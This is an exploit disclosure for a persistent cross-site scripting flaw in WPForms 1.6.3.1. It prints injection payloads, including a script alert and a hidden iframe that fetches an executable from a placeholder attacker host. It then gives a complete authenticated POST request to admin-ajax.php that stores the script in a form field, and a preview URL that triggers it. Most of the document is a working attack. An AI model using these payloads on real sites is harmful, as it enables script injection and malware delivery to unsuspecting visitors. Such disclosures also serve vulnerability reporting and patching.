Wordpress Plugin WPForms 1.6.3.1 - Persistent Cross Site Scripting (Authenticated)

#Exploit Title : Wordpress Plugin WPForms 1.6.3.1 - Persistent Cross Site Scripting (Authenticated)
#Exploit Author : ZwX
#Exploit Date : 2020-10-23
#Vendor Homepage : https://wpforms.com/
#Download Plugin : https://downloads.wordpress.org/plugin/wpforms-lite.1.6.3.1.zip


[+] Description Vulnerability:
==============================

A Cross Site Scripting vulnerability is located in the Wordpress plugin [WPForms] which affects version 1.6.3.1 and other versions lower.
To exploit the vulnerability it is necessary to be identified, the attacker could hide JavaScript code without the knowledge of the owner of the site.
 

[+] Proof Of Concept:
=====================

# HTML Code #

<textarea class="" id="wpforms-field-option-0-description" name="fields[0][description]" rows="3"><script>alert(1)</script></textarea>
<textarea class="" id="wpforms-field-option-0-description" name="fields[0][description]" rows="3"><iframe src="https://Attacker.com/putty.exe" style="width:0;height:0;border:0; border:none;/></textarea>


# Methode POST #

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/wp-admin/admin.php?page=wpforms-builder&view=fields&form_id=990
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 7081
Origin: http://localhost
Connection: close

action=wpforms_save_form&data=[{"name":"id","value":"990"},{"name":"field_id","value":"5"},{"name":"fields[0][id]","value":"0"},{"name":"fields[0][type]","value":"name"},{"name":"fields[0][label]","value":"Nom"},{"name":"fields[0][format]","value":"first-last"},{"name":"fields[0][description]","value":"<script>alert(1)</script>"},{"name":"fields[0][required]","value":"1"},{"name":"fields[0][size]","value":"medium"},{"name":"fields[0][simple_placeholder]","value":""},{"name":"fields[0][simple_default]","value":""},{"name":"fields[0][first_placeholder]","value":""},{"name":"fields[0][first_default]","value":""},{"name":"fields[0][middle_placeholder]","value":""},{"name":"fields[0][middle_default]","value":""},{"name":"fields[0][last_placeholder]","value":""},{"name":"fields[0][last_default]","value":""},{"name":"fields[0][css]","value":""},{"name":"fields[1][id]","value":"1"},{"name":"fields[1][type]","value":"email"},{"name":"fields[1][label]","value":"E-mail"},{"name":"fields[1][description]","value":""},{"name":"fields[1][required]","value":"1"},{"name":"fields[1][size]","value":"medium"},{"name":"fields[1][placeholder]","value":""},{"name":"fields[1][confirmation_placeholder]","value":""},{"name":"fields[1][default_value]","value":""},{"name":"fields[1][css]","value":""},{"name":"fields[1][filter_type]","value":""},{"name":"fields[1][allowlist]","value":""},{"name":"fields[1][denylist]","value":""},{"name":"fields[2][id]","value":"2"},{"name":"fields[2][type]","value":"textarea"},{"name":"fields[2][label]","value":"Commentaire ou message"},{"name":"fields[2][description]","value":""},{"name":"fields[2][required]","value":"1"},{"name":"fields[2][size]","value":"medium"},{"name":"fields[2][placeholder]","value":""},{"name":"fields[2][limit_count]","value":"1"},{"name":"fields[2][limit_mode]","value":"characters"},{"name":"fields[2][default_value]","value":""},{"name":"fields[2][css]","value":""},{"name":"fields[3][id]","value":"3"},{"name":"fields[3][type]","value":"textarea"},{"name":"fields[3][label]","value":"Paragraphe"},{"name":"fields[3][description]","value":""},{"name":"fields[3][size]","value":"medium"},{"name":"fields[3][placeholder]","value":""},{"name":"fields[3][limit_count]","value":"1"},{"name":"fields[3][limit_mode]","value":"characters"},{"name":"fields[3][default_value]","value":""},{"name":"fields[3][css]","value":""},{"name":"fields[4][id]","value":"4"},{"name":"fields[4][type]","value":"textarea"},{"name":"fields[4][label]","value":"Paragraphe"},{"name":"fields[4][description]","value":""},{"name":"fields[4][size]","value":"medium"},{"name":"fields[4][placeholder]","value":""},{"name":"fields[4][limit_count]","value":"1"},{"name":"fields[4][limit_mode]","value":"characters"},{"name":"fields[4][default_value]","value":""},{"name":"fields[4][css]","value":""},{"name":"settings[form_title]","value":"Formulaire de contact simple"},{"name":"settings[form_desc]","value":""},{"name":"settings[form_class]","value":""},{"name":"settings[submit_text]","value":"Envoyer"},{"name":"settings[submit_text_processing]","value":"Envoi..."},{"name":"settings[submit_class]","value":""},{"name":"settings[antispam]","value":"1"},{"name":"settings[notification_enable]","value":"1"},{"name":"settings[notifications][1][email]","value":"{admin_email}"},{"name":"settings[notifications][1][subject]","value":"Nouvelle entrée : Formulaire de contact simple"},{"name":"settings[notifications][1][sender_name]","value":"Le Blog de ZwX"},{"name":"settings[notifications][1][sender_address]","value":"{admin_email}"},{"name":"settings[notifications][1][replyto]","value":"{field_id=\"1\"}"},{"name":"settings[notifications][1][message]","value":"{all_fields}"},{"name":"settings[confirmations][1][type]","value":"message"},{"name":"settings[confirmations][1][message]","value":"<p>Merci de nous avoir contacté ! Nous vous contacterons rapidement.</p>"},{"name":"settings[confirmations][1][message_scroll]","value":"1"},{"name":"settings[confirmations][1][page]","value":"262"},{"name":"settings[confirmations][1][redirect]","value":""}]&id=990&nonce=ec15a26a5a


# URL Proof Of Concept #

http://localhost/?wpforms_form_preview=990